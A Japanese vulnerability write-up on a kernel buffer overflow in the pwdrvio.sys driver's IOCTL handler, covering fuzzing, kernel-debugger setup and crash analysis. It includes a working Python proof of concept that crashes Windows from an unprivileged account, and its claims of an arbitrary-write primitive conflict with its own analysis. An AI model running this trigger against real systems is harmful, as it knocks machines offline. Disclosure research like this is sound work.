プロジェクト日付: 2026年2月 / pwdrvio.sys カーネルドライバーの IOCTL ハンドラーにバッファオーバーフローの脆弱性を発見しました。この脆弱性により、特権を持たないローカルの攻撃者がカーネルプールのメモリを破壊し、即座にシステムクラッシュ(BSOD)およびサービス拒否(DoS)を引き起こすことが可能になります。
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
サービス拒否 (DoS)
深刻度: MEDIUM
CVSS 3.1 スコア: 5.5 (DoS)
CVSS ベクター文字列:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Hバッファオーバーフロー — サービス拒否 (CVSS 5.5 - MEDIUM)
攻撃の前提条件:
悪用結果: DoS - 即時のシステムクラッシュ、サービスの利用不能
日付: 2026年2月5日
活動内容: カスタム Python ファザーを使用した体系的なカーネルドライバーのファジング
発見プロセス:
対象の選定:
pwdrvio.sys が最古のドライバーであることを特定(タイムスタンプ: 2009年6月16日)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0初期ファジング:
ctypes を使用してドライバーとやり取りする Python ファザーを開発WriteFile/DeviceIoControl を介してドライバーデバイスにランダム化されたデータを送信検証ツールの有効化:
verifier /standard /driver pwdrvio.sys
検証ツールの構成:
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
日付: 2026年2月5日〜6日
活動内容: 根本原因分析のためのカーネルデバッグ環境を構築
セットアップ手順:
VMware シリアルポートの構成:
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
ゲスト OS の構成:
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
ホスト側の WinDbg 接続:
WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓
Result: "Kernel Debugger connection established."
日付: 2026年2月6日
活動内容: カーネルへの任意書き込みプリミティブを特定
分析手順:
モジュール分析:
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
脆弱な命令の発見:
書き込みハンドラーにブレークポイントを設定:
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
重大な発見: 任意書き込みプリミティブを特定!
RAX)をアドレス [R11-0x10] に書き込むR11 はスタックフレームからロードされる: mov r11, qword ptr [rbp+0xB8h]レジスタ状態の分析:
0: kd> r
rax=fffff805315f1364 ← Kernel code pointer
r11=ffffe60f84c38750 ← Destination address (controlled via stack)
rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 loaded from here
日付: 2026年2月6日〜7日
活動内容: Use-After-Free から write-what-where 状態に至る脆弱性を追跡
メモリ破壊の連鎖:
IRP の割り当て:
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
バッファの関係性:
0: kd> r rsi
rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
分析: ユーザーバッファは RBP フレームからは直接アクセスできない
RBP+0xB8 オフセットはユーザーが制御するバッファを指していないUse-After-Free の状態:
このドライバーは IRP 構造体にダングリングポインターを保持している:
// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
日付: 2026年2月8日
活動内容: 単独で悪用可能な DoS 脆弱性を発見
発見の過程:
IOCTL ファジング:
0x22000d が脆弱であることを特定クラッシュの仕組み:
# Vulnerable parameters
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
ドライバーの動作:
検証ツールの出力:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type
PROCESS_NAME: python.exe
場所: pwdrvio.sys の IOCTL ハンドラー
影響を受ける IOCTL: 0x22000d
トリガーの仕組み:
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4) # Only 4 bytes!
fake_output_length = 8192 # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)
# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL,
input_buf, 1024,
real_output_buffer, fake_output_length, # ← Overflow!
ctypes.byref(bytes_returned), None)
クラッシュ時の動作:
Driver Verifier が有効な場合:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted
Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)
Process triggering crash: python.exe (standard user)
Driver Verifier が無効な場合:
SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000
Result: Blue Screen of Death
コード:
import ctypes
from ctypes import wintypes